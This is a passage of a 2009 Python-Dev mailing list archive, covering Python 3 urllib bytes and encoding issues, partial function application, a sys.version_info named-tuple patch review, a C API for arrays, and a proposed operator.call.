that a bytes object has some of the same methods as > strings. But the error messages are confusing. >>>> line > b' "http://www.w3.org/TR/html4/loose.dtd">\n' >>>> line.find('www') > Traceback (most recent call last): > File "", line 1, in > line.find('www') > TypeError: expected an object with the buffer interface >>>> line.find(b'www') > 11 > Why couldn't find take string as a parameter? See http://bugs.python.org/issue4733 -- Regards, Benjamin From janssen at parc.com Tue Feb 3 21:11:07 2009 From: janssen at parc.com (Bill Janssen) Date: Tue, 3 Feb 2009 12:11:07 PST Subject: [Python-Dev] teaching the new urllib In-Reply-To: <19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com> References: <19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com> Message-ID: <99791.1233691867@parc.com> ?smail D?nmez wrote: > Hi, > > On Tue, Feb 3, 2009 at 21:56, Brett Cannon wrote: > > Probably the biggest issue will be having to explain string encoding. > > Obviously you can gloss over it or provide students with a simple > > library that just automatically converts the strings. Or even better, > > provide some code for the standard library that can take the HTML, > > figure out the encoding, and then return the decoded strings (might > > actually already be something for that that I am not aware of). > > http://chardet.feedparser.org/ should work fine for most auto-encoding > detection needs. Remember that the return value from urlopen() need not be HTML or XML. It could be, say, an image or PDF or Word, or pretty much anything. Bill From collinw at gmail.com Tue Feb 3 21:47:36 2009 From: collinw at gmail.com (Collin Winter) Date: Tue, 3 Feb 2009 12:47:36 -0800 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com> <43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> Message-ID: <43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com> On Tue, Feb 3, 2009 at 11:53 AM, Antoine Pitrou wrote: > Collin Winter gmail.com> writes: >> >> Have any of the original objections to Calvin's patch >> (http://bugs.python.org/issue1706256) been addressed? If not, I don't >> see anything in these threads that justify resurrecting it. >> >> I still haven't seen any real code presented that would benefit from >> partial.skip or partial_right. > > The arguments for and against the patch could be brought against partial() > itself, so I don't understand the -1's at all. Quite so, but that doesn't justify adding more capabilities to partial(). Collin Winter From rlight2 at gmail.com Tue Feb 3 21:53:35 2009 From: rlight2 at gmail.com (Ross Light) Date: Tue, 3 Feb 2009 12:53:35 -0800 Subject: [Python-Dev] Issue 4285 Review Message-ID: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> Hello, python-dev. I submitted a patch a couple weeks ago for Issue 4285, and it has been reviewed and revised. Would someone please review/commit it? Thank you. http://bugs.python.org/issue4285 Cheers, Ross Light From python at rcn.com Tue Feb 3 22:16:21 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 3 Feb 2009 13:16:21 -0800 Subject: [Python-Dev] Partial function application 'from the right' References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> <43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com> Message-ID: >>> I still haven't seen any real code presented that would benefit from >>> partial.skip or partial_right. # some Articles have timestamp attributes and some don't stamp = partial_right(getattr, 'timestamp', 0) lastupdate = max(map(stamp, articles)) # some beautiful soup nodes have a name attribute and some don't name = partial_right(getattr, 'name', '') alltags = set(map(name, soup)) >> The arguments for and against the patch could be brought against partial() >> itself, so I don't understand the -1's at all. > > Quite so, but that doesn't justify adding more capabilities to partial(). I concur with Collin. Lever arguments are a road to bloat. "In for a penny, in for a pound" is not a language design principle. One of the real problems with partial() and its variants is that they provide almost no advantage over an equivalent lambda. IMO, lambda has an advantage over partial.skip() because the lambda is easier to read: modcubes = lambda base, mod: pow(base, 3, mod) Raymond From aahz at pythoncraft.com Tue Feb 3 22:20:17 2009 From: aahz at pythoncraft.com (Aahz) Date: Tue, 3 Feb 2009 13:20:17 -0800 Subject: [Python-Dev] Issue 4285 Review In-Reply-To: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> Message-ID: <20090203212016.GA20886@panix.com> On Tue, Feb 03, 2009, Ross Light wrote: > > Hello, python-dev. I submitted a patch a couple weeks ago for Issue > 4285, and it has been reviewed and revised. Would someone please > review/commit it? Thank you. > > http://bugs.python.org/issue4285 When sending in a request like this, it's useful to summarize the issue; few people know bug reports by number, and at least some people who might be interested in looking probably won't bother if they have no clue whether it's in their area of expertise. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From eric at trueblade.com Tue Feb 3 22:23:54 2009 From: eric at trueblade.com (Eric Smith) Date: Tue, 03 Feb 2009 16:23:54 -0500 Subject: [Python-Dev] Issue 4285 Review In-Reply-To: <20090203212016.GA20886@panix.com> References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> <20090203212016.GA20886@panix.com> Message-ID: <4988B5EA.8060408@trueblade.com> Aahz wrote: > On Tue, Feb 03, 2009, Ross Light wrote: >> Hello, python-dev. I submitted a patch a couple weeks ago for Issue >> 4285, and it has been reviewed and revised. Would someone please >> review/commit it? Thank you. >> >> http://bugs.python.org/issue4285 > > When sending in a request like this, it's useful to summarize the issue; > few people know bug reports by number, and at least some people who might > be interested in looking probably won't bother if they have no clue > whether it's in their area of expertise. I'll review it with the intention of committing it. The subject is "Use a named tuple for sys.version_info". Eric. From tseaver at palladion.com Wed Feb 4 00:50:44 2009 From: tseaver at palladion.com (Tres Seaver) Date: Tue, 03 Feb 2009 18:50:44 -0500 Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: Message-ID: <4988D854.5090700@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Brett Cannon wrote: > On Tue, Feb 3, 2009 at 11:08, Brad Miller wrote: >> I'm just getting ready to start the semester using my new book (Python >> Programming in Context) and noticed that I somehow missed all the changes to >> urllib in python 3.0. ARGH to say the least. I like using urllib in the >> intro class because we can get data from places that are more >> interesting/motivating/relevant to the students. >> Here are some of my observations on trying to do very basic stuff with >> urllib: >> 1. urllib.urlopen is now urllib.request.urlopen > > Technically urllib2.urlopen became urllib.request.urlopen. See PEP > 3108 for the details of the reorganization. > >> 2. The object returned by urlopen is no longer iterable! no more for line >> in url. > > That is probably a difference between urllib2 and urllib. > >> 3. read, readline, readlines now return bytes objects or arrays of bytes >> instead of a str and array of str > > Correct. > >> 4. Taking the naive approach to converting a bytes object to a str does not >> work as you would expect. >> >>>>> import urllib.request >>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>>>> page >> > >>>>> line = page.readline() >>>>> line >> b'>>>> str(line) >> 'b\'> As you can see from the example the 'b' becomes part of the string! It >> seems like this should be a bug, is it? >> > > No because you are getting back the repr for the bytes object. Str > does not know what the encoding is for the bytes so it has no way of > performing the decoding. The encoding information *is* available in the response headers, e.g.: - ---------------------- %< --------------------------------- $ wget -S --spider http://knuth.luther.edu/test.html - --18:46:24-- http://knuth.luther.edu/test.html => `test.html' Resolving knuth.luther.edu... 192.203.196.71 Connecting to knuth.luther.edu|192.203.196.71|:80... connected. HTTP request sent, awaiting response... HTTP/1.1 200 OK Date: Tue, 03 Feb 2009 23:46:28 GMT Server: Apache/2.0.50 (Linux/SUSE) Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT ETag: "2fcd8-1d8-43b2bf40" Accept-Ranges: bytes Content-Length: 472 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=ISO-8859-1 Length: 472 [text/html] 200 OK - ---------------------- %< --------------------------------- So, the OP's use case *could* be satisfied, assuming that the Py3K version of urllib sprouted a means of leveraging that header. In this sense, fetching the resource over HTTP is *better* than loading it from a file: information about the character set is explicit, and highly likely to be correct, at least for any resource people expect to render cleanly in a browser. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJiNhU+gerLs4ltQ4RAjalAKC6BcbTIFjUIBg51IbVtSd8dZsoDACggw1O +1Zlt7RlzdieQjoAw8AeScE= =lvtX -----END PGP SIGNATURE----- From tseaver at palladion.com Wed Feb 4 00:50:44 2009 From: tseaver at palladion.com (Tres Seaver) Date: Tue, 03 Feb 2009 18:50:44 -0500 Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: Message-ID: <4988D854.5090700@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Brett Cannon wrote: > On Tue, Feb 3, 2009 at 11:08, Brad Miller wrote: >> I'm just getting ready to start the semester using my new book (Python >> Programming in Context) and noticed that I somehow missed all the changes to >> urllib in python 3.0. ARGH to say the least. I like using urllib in the >> intro class because we can get data from places that are more >> interesting/motivating/relevant to the students. >> Here are some of my observations on trying to do very basic stuff with >> urllib: >> 1. urllib.urlopen is now urllib.request.urlopen > > Technically urllib2.urlopen became urllib.request.urlopen. See PEP > 3108 for the details of the reorganization. > >> 2. The object returned by urlopen is no longer iterable! no more for line >> in url. > > That is probably a difference between urllib2 and urllib. > >> 3. read, readline, readlines now return bytes objects or arrays of bytes >> instead of a str and array of str > > Correct. > >> 4. Taking the naive approach to converting a bytes object to a str does not >> work as you would expect. >> >>>>> import urllib.request >>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>>>> page >> > >>>>> line = page.readline() >>>>> line >> b'>>>> str(line) >> 'b\'> As you can see from the example the 'b' becomes part of the string! It >> seems like this should be a bug, is it? >> > > No because you are getting back the repr for the bytes object. Str > does not know what the encoding is for the bytes so it has no way of > performing the decoding. The encoding information *is* available in the response headers, e.g.: - ---------------------- %< --------------------------------- $ wget -S --spider http://knuth.luther.edu/test.html - --18:46:24-- http://knuth.luther.edu/test.html => `test.html' Resolving knuth.luther.edu... 192.203.196.71 Connecting to knuth.luther.edu|192.203.196.71|:80... connected. HTTP request sent, awaiting response... HTTP/1.1 200 OK Date: Tue, 03 Feb 2009 23:46:28 GMT Server: Apache/2.0.50 (Linux/SUSE) Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT ETag: "2fcd8-1d8-43b2bf40" Accept-Ranges: bytes Content-Length: 472 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=ISO-8859-1 Length: 472 [text/html] 200 OK - ---------------------- %< --------------------------------- So, the OP's use case *could* be satisfied, assuming that the Py3K version of urllib sprouted a means of leveraging that header. In this sense, fetching the resource over HTTP is *better* than loading it from a file: information about the character set is explicit, and highly likely to be correct, at least for any resource people expect to render cleanly in a browser. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJiNhU+gerLs4ltQ4RAjalAKC6BcbTIFjUIBg51IbVtSd8dZsoDACggw1O +1Zlt7RlzdieQjoAw8AeScE= =lvtX -----END PGP SIGNATURE----- From ajaksu at gmail.com Wed Feb 4 00:56:48 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 3 Feb 2009 21:56:48 -0200 Subject: [Python-Dev] teaching the new urllib In-Reply-To: <4988D854.5090700@palladion.com> References: <4988D854.5090700@palladion.com> Message-ID: <2d75d7660902031556i4f7b4ff0n5e594a86a42ac4a6@mail.gmail.com> Tres Seaver wrote: > Brett Cannon wrote: >> No because you are getting back the repr for the bytes object. Str >> does not know what the encoding is for the bytes so it has no way of >> performing the decoding. > > The encoding information *is* available in the response headers, e.g.: [snip] That's the target of http://bugs.python.org/issue4733 cited by Benjamin: 'Add a "decode to declared encoding" version of urlopen to urllib' . I think it's an important use case, but the current patch is pretty awful. Improvements/feedback welcome :) Daniel From brett at python.org Wed Feb 4 01:00:38 2009 From: brett at python.org (Brett Cannon) Date: Tue, 3 Feb 2009 16:00:38 -0800 Subject: [Python-Dev] teaching the new urllib In-Reply-To: <4988D854.5090700@palladion.com> References: <4988D854.5090700@palladion.com> Message-ID: On Tue, Feb 3, 2009 at 15:50, Tres Seaver wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Brett Cannon wrote: >> On Tue, Feb 3, 2009 at 11:08, Brad Miller wrote: >>> I'm just getting ready to start the semester using my new book (Python >>> Programming in Context) and noticed that I somehow missed all the changes to >>> urllib in python 3.0. ARGH to say the least. I like using urllib in the >>> intro class because we can get data from places that are more >>> interesting/motivating/relevant to the students. >>> Here are some of my observations on trying to do very basic stuff with >>> urllib: >>> 1. urllib.urlopen is now urllib.request.urlopen >> >> Technically urllib2.urlopen became urllib.request.urlopen. See PEP >> 3108 for the details of the reorganization. >> >>> 2. The object returned by urlopen is no longer iterable! no more for line >>> in url. >> >> That is probably a difference between urllib2 and urllib. >> >>> 3. read, readline, readlines now return bytes objects or arrays of bytes >>> instead of a str and array of str >> >> Correct. >> >>> 4. Taking the naive approach to converting a bytes object to a str does not >>> work as you would expect. >>> >>>>>> import urllib.request >>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>>>>> page >>> > >>>>>> line = page.readline() >>>>>> line >>> b'>>>>> str(line) >>> 'b\'>> As you can see from the example the 'b' becomes part of the string! It >>> seems like this should be a bug, is it? >>> >> >> No because you are getting back the repr for the bytes object. Str >> does not know what the encoding is for the bytes so it has no way of >> performing the decoding. > > The encoding information *is* available in the response headers, e.g.: > > - ---------------------- %< --------------------------------- > $ wget -S --spider http://knuth.luther.edu/test.html > - --18:46:24-- http://knuth.luther.edu/test.html > => `test.html' > Resolving knuth.luther.edu... 192.203.196.71 > Connecting to knuth.luther.edu|192.203.196.71|:80... connected. > HTTP request sent, awaiting response... > HTTP/1.1 200 OK > Date: Tue, 03 Feb 2009 23:46:28 GMT > Server: Apache/2.0.50 (Linux/SUSE) > Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT > ETag: "2fcd8-1d8-43b2bf40" > Accept-Ranges: bytes > Content-Length: 472 > Keep-Alive: timeout=15, max=100 > Connection: Keep-Alive > Content-Type: text/html; charset=ISO-8859-1 > Length: 472 [text/html] > 200 OK > - ---------------------- %< --------------------------------- > Right, but he was asking about why passing bytes to str() led to it returning the repr. > So, the OP's use case *could* be satisfied, assuming that the Py3K > version of urllib sprouted a means of leveraging that header. In this > sense, fetching the resource over HTTP is *better* than loading it from > a file: information about the character set is explicit, and highly > likely to be correct, at least for any resource people expect to render > cleanly in a browser. Right. And even if the header lacks the info as Content-Type is not guaranteed to contain the charset there is also the chance for the HTML or DOCTYPE declaration to say. But as Bill pointed out, urllib just fetches data via HTTP, so a character encoding will not always be valuable. Best solution would be to provide something in html that can take what urllib.request.urlopen returns and handle the decoding. -Brett From mike.klaas at gmail.com Wed Feb 4 01:25:54 2009 From: mike.klaas at gmail.com (Mike Klaas) Date: Tue, 3 Feb 2009 16:25:54 -0800 Subject: [Python-Dev] C API for appending to arrays In-Reply-To: <49872BAC.8040005@avl.com> References: <49872BAC.8040005@avl.com> Message-ID: On 2-Feb-09, at 9:21 AM, Hrvoje Niksic wrote: > > It turns out that an even faster method of creating an array is by > using the fromstring() method. fromstring() requires an actual > string, not a buffer, so in C++ I created an std::vector > with a contiguous array of doubles, passed that array to > PyString_FromStringAndSize, and called array.fromstring with the > resulting string. Despite all the unnecessary copying, the result > was much faster than either of the previous versions. > > > Would it be possible for the array module to define a C interface > for the most frequent operations on array objects, such as appending > an item, and getting/setting an item? Failing that, could we at > least make fromstring() accept an arbitrary read buffer, not just an > actual string? Do you need to append, or are you just looking to create/manipulate an array with a bunch of c-float values? I find As{Write/Read}Buffer sufficient for most of these tasks. I've included some example pyrex code that populates a new array.array at c speed. (Note that you can get the size of the resulting c array more easily than you are by using PyObject_Length). Of course, this still leaves difficult appending to an already-created array. def calcW0(W1, colTotal): """ Calculate a W0 array from a W1 array. @param W1: array.array of doubles @param colTotal: value to which each column should sum @return W0 = [colTotal] * NA - W1 """ cdef int NA NA = len(W1) W0 = array('d', [colTotal]) * NA cdef double *cW1, *cW0 cdef int i cdef Py_ssize_t dummy PyObject_AsReadBuffer(W1, &cW1, &dummy) PyObject_AsWriteBuffer(W0, &cW0, &dummy) for i from 0 <= i < NA: cW0[i] = cW0[i] - cW1[i] return W0 regards, -Mike From rlight2 at gmail.com Wed Feb 4 02:31:00 2009 From: rlight2 at gmail.com (Ross Light) Date: Tue, 3 Feb 2009 17:31:00 -0800 Subject: [Python-Dev] Issue 4285 Review In-Reply-To: <20090203212016.GA20886@panix.com> References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> <20090203212016.GA20886@panix.com> Message-ID: <4553f0902031731l1ce94deaw56c6856340b88a09@mail.gmail.com> On Tue, Feb 3, 2009 at 1:20 PM, Aahz wrote: > When sending in a request like this, it's useful to summarize the issue; > few people know bug reports by number, and at least some people who might > be interested in looking probably won't bother if they have no clue > whether it's in their area of expertise. You're right. I'm sorry. I completely forgot. And thank you, Eric, for reviewing and adding the subject for me. Cheers, Ross Light From janssen at parc.com Wed Feb 4 02:41:34 2009 From: janssen at parc.com (Bill Janssen) Date: Tue, 3 Feb 2009 17:41:34 PST Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: <4988D854.5090700@palladion.com> Message-ID: <3929.1233711694@parc.com> Brett Cannon wrote: > On Tue, Feb 3, 2009 at 15:50, Tres Seaver wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Brett Cannon wrote: > >> On Tue, Feb 3, 2009 at 11:08, Brad Miller wrote: > >>> I'm just getting ready to start the semester using my new book (Python > >>> Programming in Context) and noticed that I somehow missed all the changes to > >>> urllib in python 3.0. ARGH to say the least. I like using urllib in the > >>> intro class because we can get data from places that are more > >>> interesting/motivating/relevant to the students. > >>> Here are some of my observations on trying to do very basic stuff with > >>> urllib: > >>> 1. urllib.urlopen is now urllib.request.urlopen > >> > >> Technically urllib2.urlopen became urllib.request.urlopen. See PEP > >> 3108 for the details of the reorganization. > >> > >>> 2. The object returned by urlopen is no longer iterable! no more for line > >>> in url. > >> > >> That is probably a difference between urllib2 and urllib. > >> > >>> 3. read, readline, readlines now return bytes objects or arrays of bytes > >>> instead of a str and array of str > >> > >> Correct. > >> > >>> 4. Taking the naive approach to converting a bytes object to a str does not > >>> work as you would expect. > >>> > >>>>>> import urllib.request > >>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') > >>>>>> page > >>> > > >>>>>> line = page.readline() > >>>>>> line > >>> b' >>>>>> str(line) > >>> 'b\' >>> As you can see from the example the 'b' becomes part of the string! It > >>> seems like this should be a bug, is it? > >>> > >> > >> No because you are getting back the repr for the bytes object. Str > >> does not know what the encoding is for the bytes so it has no way of > >> performing the decoding. > > > > The encoding information *is* available in the response headers, e.g.: > > > > - ---------------------- %< --------------------------------- > > $ wget -S --spider http://knuth.luther.edu/test.html > > - --18:46:24-- http://knuth.luther.edu/test.html > > => `test.html' > > Resolving knuth.luther.edu... 192.203.196.71 > > Connecting to knuth.luther.edu|192.203.196.71|:80... connected. > > HTTP request sent, awaiting response... > > HTTP/1.1 200 OK > > Date: Tue, 03 Feb 2009 23:46:28 GMT > > Server: Apache/2.0.50 (Linux/SUSE) > > Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT > > ETag: "2fcd8-1d8-43b2bf40" > > Accept-Ranges: bytes > > Content-Length: 472 > > Keep-Alive: timeout=15, max=100 > > Connection: Keep-Alive > > Content-Type: text/html; charset=ISO-8859-1 > > Length: 472 [text/html] > > 200 OK > > - ---------------------- %< --------------------------------- > > > > Right, but he was asking about why passing bytes to str() led to it > returning the repr. > > > So, the OP's use case *could* be satisfied, assuming that the Py3K > > version of urllib sprouted a means of leveraging that header. In this > > sense, fetching the resource over HTTP is *better* than loading it from > > a file: information about the character set is explicit, and highly > > likely to be correct, at least for any resource people expect to render > > cleanly in a browser. > > Right. And even if the header lacks the info as Content-Type is not > guaranteed to contain the charset there is also the chance for the > HTML or DOCTYPE declaration to say. > > But as Bill pointed out, urllib just fetches data via HTTP, so a > character encoding will not always be valuable. Best solution would be > to provide something in html that can take what urllib.request.urlopen > returns and handle the decoding. Yes, that sounds like the right solution to me, too. Bill From python-3000 at udmvt.ru Wed Feb 4 10:14:16 2009 From: python-3000 at udmvt.ru (python-3000 at udmvt.ru) Date: Wed, 4 Feb 2009 13:14:16 +0400 Subject: [Python-Dev] teaching the new urllib In-Reply-To: <4988D854.5090700@palladion.com> References: <4988D854.5090700@palladion.com> Message-ID: <20090204091416.GQ15556@ruber.office.udmvt.ru> On Tue, Feb 03, 2009 at 06:50:44PM -0500, Tres Seaver wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > The encoding information *is* available in the response headers, e.g.: > > - ---------------------- %< --------------------------------- > $ wget -S --spider http://knuth.luther.edu/test.html > - --18:46:24-- http://knuth.luther.edu/test.html > => `test.html' > Resolving knuth.luther.edu... 192.203.196.71 > Connecting to knuth.luther.edu|192.203.196.71|:80... connected. > HTTP request sent, awaiting response... > HTTP/1.1 200 OK > Date: Tue, 03 Feb 2009 23:46:28 GMT > Server: Apache/2.0.50 (Linux/SUSE) > Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT > ETag: "2fcd8-1d8-43b2bf40" > Accept-Ranges: bytes > Content-Length: 472 > Keep-Alive: timeout=15, max=100 > Connection: Keep-Alive > Content-Type: text/html; charset=ISO-8859-1 > Length: 472 [text/html] > 200 OK > - ---------------------- %< --------------------------------- > > So, the OP's use case *could* be satisfied, assuming that the Py3K > version of urllib sprouted a means of leveraging that header. In this > sense, fetching the resource over HTTP is *better* than loading it from > a file: information about the character set is explicit, and highly > likely to be correct, at least for any resource people expect to render > cleanly in a browser. First of all, as it was noted, Content-Type may have no charset parameter, or be omitted at all. But the most important and the worst is that charset in Content-Type may have no relation to charset in document. And even worse - charset specified in document may have no relation to charset used to encode the document. :( Remember, that headers are supplied by HTTP server and it have to read document from just a file, so there is no difference, since there is no magic in being a HTTP server. Ofcourse it will be correct to provide web-server with some hints about charset of byte-encoded text documents, but web-server will not stop working without charset specified or with incorrect charset. This use case is really important for those international segments of Internet, which have two or more conflicting character sets for their (single) alphabet. As an example - every Russian Internet user can tell you that a browser, that have no menu option to select explicitly what encoding to use for current document, is completely unusable. -- Alexey Shpagin From hrvoje.niksic at avl.com Wed Feb 4 12:57:38 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Wed, 04 Feb 2009 12:57:38 +0100 Subject: [Python-Dev] C API for appending to arrays In-Reply-To: <14663666.939563.1233707180356.JavaMail.xicrypt@atgrzls001> References: <49872BAC.8040005@avl.com> <14663666.939563.1233707180356.JavaMail.xicrypt@atgrzls001> Message-ID: <498982B2.2050606@avl.com> Mike Klaas wrote: > Do you need to append, or are you just looking to create/manipulate an > array with a bunch of c-float values? Mostly real-life examples I've seen of this were creating an array from C values obtained from an external source, such as an on-disk file, or another process. The code example was a (simplified and de-C++-ized) snippet of actual code. > I find As{Write/Read}Buffer sufficient for most of these tasks. They improve things, as shown in the second example, but they're still cumbersome to use for appending/initialization of the array. > (Note that you can > get the size of the resulting c array more easily than you are by > using PyObject_Length). Note that AsWriteBuffer always gives you the buffer size anyway -- you can't pass bufsize==NULL. Since I have to call AsWriteBuffer in each iteration (because I don't know when the buffer will resize), calling PyObject_Length in addition to that doesn't buy much, if anything. > I've included some example pyrex code that populates a new > array.array at c speed. [...] > cdef int NA > NA = len(W1) > W0 = array('d', [colTotal]) * NA The thing is, when reading values from a file or a general iterator, you typically don't know the number of values in advance. If I did, I would probably use an approach similar to yours. Thanks for the code -- even if it doesn't help in this case, I appreciate it as an instructing example of the advanced usage of Pyrex. From hrvoje.niksic at avl.com Wed Feb 4 14:02:17 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Wed, 04 Feb 2009 14:02:17 +0100 Subject: [Python-Dev] Missing operator.call Message-ID: <498991D9.3060407@avl.com> Is there a reason why the operator module doesn't have an operator.call function? It would seem logical to be able to write: map(operator.call, lst) which calls each object in lst, just like map(operator.neg, lst) negates every object. Of course, operator.call is equivalent to lambda x: x(), but such an equivalence exists for all functions in the operator module. __call__ should also be provided for symmetry with other operators that correspond to special-name methods. If there is interest in this and no reason why it shouldn't be done, I can write up an issue in the tracker and provide a patch. From andrew-pythondev at puzzling.org Wed Feb 4 14:28:21 2009 From: andrew-pythondev at puzzling.org (Andrew Bennetts) Date: Thu, 5 Feb 2009 00:28:21 +1100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498991D9.3060407@avl.com> References: <498991D9.3060407@avl.com> Message-ID: <20090204132821.GQ9167@steerpike.home.puzzling.org> Hrvoje Niksic wrote: > Is there a reason why the operator module doesn't have an operator.call > function? Python 2.6 adds operator.methodcaller. So you could use operator.methodcaller('__call__'), but that's not really any better than lambda x: x(). A patch to add operator.caller(*args, **kwargs) may be a good idea. Your example would then be: map(operator.caller(), lst) That reads ok to me. I think this reads better though: [callable() for callable in lst] -Andrew. From ncoghlan at gmail.com Wed Feb 4 14:33:45 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Wed, 04 Feb 2009 23:33:45 +1000 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498991D9.3060407@avl.com> References: <498991D9.3060407@avl.com> Message-ID: <49899939.7070104@gmail.com> Hrvoje Niksic wrote: > Is there a reason why the operator module doesn't have an operator.call > function? My guess is that it was left out because it would have been redundant given the existence of apply() in 2.x. That argument no longer holds in 3.x of course, so operator.call may be a reasonable addition to 3.1 (and then to 2.7 for forward compatibility reasons). I'm somewhere between -0 and +0 though (-0 due to the lack of concrete use cases, +0 because the improved consistency is appealing) Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From hrvoje.niksic at avl.com Wed Feb 4 14:35:58 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Wed, 04 Feb 2009 14:35:58 +0100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> Message-ID: <498999BE.70703@avl.com> Andrew Bennetts wrote: > A patch to add operator.caller(*args, **kwargs) may be a good idea. Your > example would then be: > > map(operator.caller(), lst) Regarding the name, note that I proposed operator.call (and operator.__call__) because it corresponds to the __call__ special method, which is analogous to how operator.neg corresponds to __neg__, operator.add to __add__, etc. The term "caller" implies creation of a new object that carries additional state, such as method name in operator.methodcaller, item in operator.itemgetter, or attr in operator.attrgetter. From hrvoje.niksic at avl.com Wed Feb 4 14:37:39 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Wed, 04 Feb 2009 14:37:39 +0100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <33016066.975455.1233754439063.JavaMail.xicrypt@atgrzls001> References: <498991D9.3060407@avl.com> <33016066.975455.1233754439063.JavaMail.xicrypt@atgrzls001> Message-ID: <49899A23.20008@avl.com> Nick Coghlan wrote: > I'm somewhere between -0 and +0 though (-0 due to the lack of concrete > use cases, +0 because the improved consistency is appealing) The operator module is one of the rare cases in python where consistency is valued more than concrete use cases. But, for what it's worth, I really wished to use operator.call in my code, expected to find operator.call, and was quite surprised to find it missing. From ygingras at ygingras.net Wed Feb 4 18:46:39 2009 From: ygingras at ygingras.net (Yannick Gingras) Date: Wed, 4 Feb 2009 12:46:39 -0500 Subject: [Python-Dev] [patch] Duplicate sections detection in ConfigParser In-Reply-To: <2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com> References: <200902030134.13646.ygingras@ygingras.net> <20090203164425.GA14050@panix.com> <2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com> Message-ID: <200902041246.40051.ygingras@ygingras.net> On Tuesday 03 February 2009, Raghuram Devarakonda wrote: > http://bugs.python.org/issue2204 refers to the same issue. Perhaps, > you can upload your patch there in addition to adding any comments. I attached the patch to the ticket. Do you have recommendations on how to solve the uniformity issue with the builder interface? -- Yannick Gingras http://ygingras.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From brett at python.org Wed Feb 4 19:25:32 2009 From: brett at python.org (Brett Cannon) Date: Wed, 4 Feb 2009 10:25:32 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498999BE.70703@avl.com> References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> <498999BE.70703@avl.com> Message-ID: On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic wrote: > Andrew Bennetts wrote: >> >> A patch to add operator.caller(*args, **kwargs) may be a good idea. Your >> example would then be: >> >> map(operator.caller(), lst) > > Regarding the name, note that I proposed operator.call (and > operator.__call__) because it corresponds to the __call__ special method, > which is analogous to how operator.neg corresponds to __neg__, operator.add > to __add__, etc. The term "caller" implies creation of a new object that > carries additional state, such as method name in operator.methodcaller, item > in operator.itemgetter, or attr in operator.attrgetter. Part of the problem is the term 'call' is an overloaded term. Do you really mean only objects that define __call__? What about objects that define __init__ and thus can be called as well? If you mean the former than you have to make sure the docs are very clear about this; there is a reason we got rid of callable(). If you mean the latter then there is little benefit to the function since ``[x() for x in lst]`` gets you the same result as your map call. -Brett From steven.bethard at gmail.com Wed Feb 4 19:43:25 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 4 Feb 2009 10:43:25 -0800 Subject: 